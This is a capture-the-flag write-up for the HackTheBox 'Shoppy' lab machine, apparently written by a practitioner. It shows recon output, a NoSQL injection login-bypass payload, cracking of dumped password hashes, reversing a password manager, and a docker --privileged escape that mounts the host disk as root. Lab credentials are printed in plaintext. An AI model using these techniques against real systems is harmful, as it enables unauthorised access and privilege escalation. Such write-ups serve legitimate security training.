HackTheBox - Shoppy Writeup
Table of Contents
Recon #
Firstly, we run nmap
:
┌──(parallels㉿kali-linux-2022-2)-[~]
└─$ nmap -A -T5 -p- 10.10.11.180
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-13 13:43 CET
Warning: 10.10.11.180 giving up on port because retransmission cap hit (2).
Stats: 0:01:03 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 13:45 (0:00:26 remaining)
Nmap scan report for 10.10.11.180
Host is up (0.025s latency).
Not shown: 65333 closed tcp ports (conn-refused), 199 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 9e5e8351d99f89ea471a12eb81f922c0 (RSA)
| 256 5857eeeb0650037c8463d7a3415b1ad5 (ECDSA)
|_ 256 3e9d0a4290443860b3b62ce9bd9a6754 (ED25519)
80/tcp open http nginx 1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
|_http-server-header: nginx/1.23.1
9093/tcp open copycat?
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 200 OK
| Content-Type: text/plain; version=0.0.4; charset=utf-8
| Date: Fri, 13 Jan 2023 12:44:09 GMT
| HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
| TYPE go_gc_cycles_automatic_gc_cycles_total counter
| go_gc_cycles_automatic_gc_cycles_total 1158
| HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
| TYPE go_gc_cycles_forced_gc_cycles_total counter
| go_gc_cycles_forced_gc_cycles_total 0
| HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
| TYPE go_gc_cycles_total_gc_cycles_total counter
| go_gc_cycles_total_gc_cycles_total 1158
| HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
| TYPE go_gc_duration_seconds summary
| go_gc_duration_seconds{quantile="0"} 3.0597e-05
|_ go_gc_duration_seconds{quantile="0.25"} 6.0793e-05
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9093-TCP:V=7.93%I=7%D=1/13%Time=63C15218%P=aarch64-unknown-linux-gn
SF:u%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type
SF::\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x2
SF:0Bad\x20Request")%r(GetRequest,2A5A,"HTTP/1\.0\x20200\x20OK\r\nContent-
SF:Type:\x20text/plain;\x20version=0\.0\.4;\x20charset=utf-8\r\nDate:\x20F
SF:ri,\x2013\x20Jan\x202023\x2012:44:09\x20GMT\r\n\r\n#\x20HELP\x20go_gc_c
SF:ycles_automatic_gc_cycles_total\x20Count\x20of\x20completed\x20GC\x20cy
SF:cles\x20generated\x20by\x20the\x20Go\x20runtime\.\n#\x20TYPE\x20go_gc_c
SF:ycles_automatic_gc_cycles_total\x20counter\ngo_gc_cycles_automatic_gc_c
SF:ycles_total\x201158\n#\x20HELP\x20go_gc_cycles_forced_gc_cycles_total\x
SF:20Count\x20of\x20completed\x20GC\x20cycles\x20forced\x20by\x20the\x20ap
SF:plication\.\n#\x20TYPE\x20go_gc_cycles_forced_gc_cycles_total\x20counte
SF:r\ngo_gc_cycles_forced_gc_cycles_total\x200\n#\x20HELP\x20go_gc_cycles_
SF:total_gc_cycles_total\x20Count\x20of\x20all\x20completed\x20GC\x20cycle
SF:s\.\n#\x20TYPE\x20go_gc_cycles_total_gc_cycles_total\x20counter\ngo_gc_
SF:cycles_total_gc_cycles_total\x201158\n#\x20HELP\x20go_gc_duration_secon
SF:ds\x20A\x20summary\x20of\x20the\x20pause\x20duration\x20of\x20garbage\x
SF:20collection\x20cycles\.\n#\x20TYPE\x20go_gc_duration_seconds\x20summar
SF:y\ngo_gc_duration_seconds{quantile=\"0\"}\x203\.0597e-05\ngo_gc_duratio
SF:n_seconds{quantile=\"0\.25\"}\x206\.0793e-05\ngo_")%r(HTTPOptions,2A5A,
SF:"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\x20text/plain;\x20version=0\.0
SF:\.4;\x20charset=utf-8\r\nDate:\x20Fri,\x2013\x20Jan\x202023\x2012:44:09
SF:\x20GMT\r\n\r\n#\x20HELP\x20go_gc_cycles_automatic_gc_cycles_total\x20C
SF:ount\x20of\x20completed\x20GC\x20cycles\x20generated\x20by\x20the\x20Go
SF:\x20runtime\.\n#\x20TYPE\x20go_gc_cycles_automatic_gc_cycles_total\x20c
SF:ounter\ngo_gc_cycles_automatic_gc_cycles_total\x201158\n#\x20HELP\x20go
SF:_gc_cycles_forced_gc_cycles_total\x20Count\x20of\x20completed\x20GC\x20
SF:cycles\x20forced\x20by\x20the\x20application\.\n#\x20TYPE\x20go_gc_cycl
SF:es_forced_gc_cycles_total\x20counter\ngo_gc_cycles_forced_gc_cycles_tot
SF:al\x200\n#\x20HELP\x20go_gc_cycles_total_gc_cycles_total\x20Count\x20of
SF:\x20all\x20completed\x20GC\x20cycles\.\n#\x20TYPE\x20go_gc_cycles_total
SF:_gc_cycles_total\x20counter\ngo_gc_cycles_total_gc_cycles_total\x201158
SF:\n#\x20HELP\x20go_gc_duration_seconds\x20A\x20summary\x20of\x20the\x20p
SF:ause\x20duration\x20of\x20garbage\x20collection\x20cycles\.\n#\x20TYPE\
SF:x20go_gc_duration_seconds\x20summary\ngo_gc_duration_seconds{quantile=\
SF:"0\"}\x203\.0597e-05\ngo_gc_duration_seconds{quantile=\"0\.25\"}\x206\.
SF:0793e-05\ngo_");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.63 seconds
As we can see, we need to add the following line on our /ect/hosts
to visit the webserver:
10.10.11.180 shoppy.htb
Once done, we can see a web page with a time counter:
Now, let’s enumerate directories:
┌──(parallels㉿kali-linux-2022-2)-[~]
└─$ gobuster dir --url http://shoppy.htb/ -b 404,400,500,503 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://shoppy.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404,400,500,503
[+] User Agent: gobuster/3.4
[+] Timeout: 10s
===============================================================
2023/01/13 13:52:14 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 179] [--> /images/]
/login (Status: 200) [Size: 1074]
/admin (Status: 302) [Size: 28] [--> /login]
/assets (Status: 301) [Size: 179] [--> /assets/]
/css (Status: 301) [Size: 173] [--> /css/]
/Login (Status: 200) [Size: 1074]
/js (Status: 301) [Size: 171] [--> /js/]
/fonts (Status: 301) [Size: 177] [--> /fonts/]
/Admin (Status: 302) [Size: 28] [--> /login]
/exports (Status: 301) [Size: 181] [--> /exports/]
So let’s see the login page:
We’ll try to realize an SQL injection with sqlmap
but there is a timeout. So after several try, we use mongomap
:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/shoppy/mongomap]
└─$ python3 mongomap.py -u http://shoppy.htb/login --method POST --data "username=emile&password=emile"
╔═╗╔═╗╔═══╗╔═╗─╔╗╔═══╗╔═══╗╔═╗╔═╗╔═══╗╔═══╗
║║╚╝║║║╔═╗║║║╚╗║║║╔═╗║║╔═╗║║║╚╝║║║╔═╗║║╔═╗║
║╔╗╔╗║║║─║║║╔╗╚╝║║║─╚╝║║─║║║╔╗╔╗║║║─║║║╚═╝║
║║║║║║║║─║║║║╚╗║║║║╔═╗║║─║║║║║║║║║╚═╝║║╔══╝
║║║║║║║╚═╝║║║─║║║║╚╩═║║╚═╝║║║║║║║║╔═╗║║║───
╚╝╚╝╚╝╚═══╝╚╝─╚═╝╚═══╝╚═══╝╚╝╚╝╚╝╚╝─╚╝╚╝───
By Hex_27
[*] v1.0.0
[?] Redirect to http://shoppy.htb/login detected. Follow? [y/N] N
[+] URL can be reached.
[*] Beginning testing phase.
[*] Testing for param username
[i] Attempting Not-Equals Array (param[$ne]) Injection
[+] username is Not-Equals Array (param[$ne]) Injection injectable!
[i] Attempting Regex Array (param[$regex]) Blind Injection
[i] Attempting Where Always True Function Injection
[+] Basic check succeeded!
[+] Error-based content check worked!
[+] Payload built!
[+] '; return this; var dum = '
[+] username is Where Always True Function Injection injectable!
[i] Attempting Where (Function Javascript Evaluation) Blind Injection (JSONStringify)
[+] Basic check succeeded!
[+] Error-based content check worked!
[+] Payload built!
[+] username is Where (Function Javascript Evaluation) Blind Injection (JSONStringify) injectable!
[i] Attempting Where Always True Injection
Exploit #
We try to input '; return this; var dum = '
as username and we can bypass the authent:
Then, we can search for users, we do the same trick:
Here is the result:
[{"_id":"62db0e93d6d6a999a66ee67a","username":"admin","password":"23c6877d9e2b564ef8b32c3a23de27b2"},{"_id":"62db0e93d6d6a999a66ee67b","username":"josh","password":"6ebcea65320589ca4f2f1ce039975995"}]
We cannot find the admin
password but we can find josh
password with
Crackstation:
Now, let’s try to enumerate deeper the webserver:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/shoppy/Nosql-MongoDB-injection-username-password-enumeration]
└─$ gobuster vhost --append-domain --url http://shoppy.htb/ -w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://shoppy.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
[+] User Agent: gobuster/3.4
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
2023/01/15 12:38:36 Starting gobuster in VHOST enumeration mode
===============================================================
Found: mattermost.shoppy.htb Status: 200 [Size: 3122]
After with found mattermost, we try to authenticate with josh’s’ credentials:
We got an access to mattermost !
We found jaeger’s creds on Deploy machine channel:
We try to authenticate through ssh
with them:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/htb/shoppy/Nosql-MongoDB-injection-username-password-enumeration]
└─$ ssh jaeger@shoppy.htb
jaeger@shoppy.htb's password:
Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jan 15 02:03:53 2023 from 10.10.14.30
jaeger@shoppy:~$
Next, we can try to list our potentials sudo
privileges:
jaeger@shoppy:~$ sudo -l
[sudo] password for jaeger:
Matching Defaults entries for jaeger on shoppy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jaeger may run the following commands on shoppy:
(deploy) /home/deploy/password-manager
After several tries, we can see that we don’t know the password and there is no buffer overflow.
jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sh0ppyBest@pp!
Access denied! This incident will be reported !
PrivEsc #
So, we decide to download the program and reverse it on our machine. With IDA, we got the following code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
__int64 v4; // rdx
__int64 v5; // rdx
__int64 v6; // rax
int v7; // ebx
__int64 v8; // rax
char v10[32]; // [rsp+0h] [rbp-60h] BYREF
char v11[47]; // [rsp+20h] [rbp-40h] BYREF
char v12[9]; // [rsp+4Fh] [rbp-11h] BYREF
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Welcome to Josh password manager!", envp);
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
std::operator<<<std::char_traits<char>>(&std::cout, "Please enter your master password: ", v4);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v11);
std::operator>><char>(&std::cin, v11);
std::allocator<char>::allocator(v12);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v10, &unk_205C, v12);
std::allocator<char>::~allocator(v12);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(v10, "S");
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(v10, "a");
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(v10, "m");
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(v10, "p");
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(v10, "l");
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(v10, "e");
if ( (unsigned int)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::compare(v11, v10) )
{
v8 = std::operator<<<std::char_traits<char>>(&std::cout, "Access denied! This incident will be reported !", v5);
std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
v7 = 1;
}
else
{
v6 = std::operator<<<std::char_traits<char>>(&std::cout, "Access granted! Here is creds !", v5);
std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
system("cat /home/deploy/creds.txt");
v7 = 0;
}
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v10);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v11);
return v7;
}
We know that the password is Sample
and that the program will execute the command cat /home/deploy/creds.txt
. Let’s run it on the machine:
jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
[sudo] password for jaeger:
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!
Now, we log in as deploy
and we remember that there where talking about docker on mattermost. So we’ll try to enumerate if there is come containers or images…
deploy@shoppy:~$ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
deploy@shoppy:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest d7d3d98c851f 6 months ago 5.53MB
As there is an image, we’ll try to run it:
deploy@shoppy:~$ docker run -it d7d3d98c851f
/ # whoami
root
/ # ls -la home
total 8
drwxr-xr-x 2 root root 4096 Jul 18 15:34 .
drwxr-xr-x 1 root root 4096 Jan 15 12:17 ..
We got root privileges, let’s try to escape:
deploy@shoppy:~$ docker run -it --privileged d7d3d98c851f
/ # fdisk -l
Disk /dev/sda: 10 GB, 10737418240 bytes, 20971520 sectors
41120 cylinders, 255 heads, 2 sectors/track
Units: sectors of 1 * 512 = 512 bytes
Device Boot StartCHS EndCHS StartLBA EndLBA Sectors Size Id Type
/dev/sda1 * 4,4,1 1023,254,2 2048 18970623 18968576 9262M 83 Linux
/dev/sda2 1023,254,2 1023,254,2 18972670 20969471 1996802 975M 5 Extended
/dev/sda5 1023,254,2 1023,254,2 18972672 20969471 1996800 975M 82 Linux swap
/ # mkdir -p /mnt/exploit
/ # mount /dev/sda1 /mnt/exploit
/ # ls -la /mnt/exploit/root/
total 36
drwx------ 6 root root 4096 Jan 14 18:14 .
drwxr-xr-x 19 root root 4096 Sep 12 18:36 ..
lrwxrwxrwx 1 root root 9 Jul 22 16:46 .bash_history -> /dev/null
-rw-r--r-- 1 root root 571 Apr 10 2021 .bashrc
drwx------ 3 root root 4096 Jul 22 16:40 .cache
drwx------ 3 root 998 4096 Jul 22 18:32 .config
lrwxrwxrwx 1 root root 9 Jul 23 10:17 .dbshell -> /dev/null
drwxr-xr-x 3 root root 4096 Jul 22 16:47 .local
-rw------- 1 root root 0 Jul 23 10:16 .mongorc.js
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
drwxr-xr-x 2 root root 4096 Jan 14 18:14 .ssh
-rw-r----- 1 root root 33 Jan 14 11:28 root.txt
/ # cat /mnt/exploit/root/root.txt
837f31eec4b39f366ee47c2d34ebede7
Indeed, we were able to list partitions with the --privileged
flag. Then we mount /dev/sda1
in order to have access to the filesystem as root.